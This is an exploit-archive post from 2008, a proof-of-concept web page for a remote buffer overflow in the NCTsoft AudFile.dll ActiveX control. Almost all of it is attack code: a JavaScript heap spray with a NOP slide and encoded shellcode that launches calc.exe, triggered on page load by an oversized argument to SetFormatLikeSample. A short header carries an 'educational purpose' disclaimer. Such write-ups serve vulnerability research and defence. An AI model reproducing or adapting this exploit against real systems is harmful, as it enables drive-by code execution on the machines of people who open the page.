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nctsoft-activex.txt

Posted on 31 July 2008

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NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow
url: http://www.nctsoft.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
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<html>
<script language="JavaScript" defer>
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sSlide = unescape("%u9090%u9090");
var heapSA = 0x0c0c0c0c;
function tryMe()
{
var buffSize = 5200;
var x =  unescape("%0c%0c%0c%0c");
while (x.length<buffSize) x += x;
x = x.substring(0,buffSize);
boom.SetFormatLikeSample (x);
}
function getsSlide(sSlide, sSlideSize)
{
while (sSlide.length*2<sSlideSize)
{
sSlide += sSlide;
}
sSlide = sSlide.substring(0,sSlideSize/2);
return (sSlide);
}
var heapBS = 0x400000;
var sizeHDM = 0x5;
var PLSize = (sCode.length * 2);
var sSlideSize = heapBS - (PLSize + sizeHDM);
var heapBlocks = (heapSA+heapBS)/heapBS;
var memory = new Array();
sSlide = getsSlide(sSlide,sSlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sSlide +  sCode;
}
</script>
<body onload="JavaScript: return tryMe();">
<object id="boom" classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" codebase="http://shinnai.net/AudFile.dll">
Unable to create object
</object>
</body>
</html>

 

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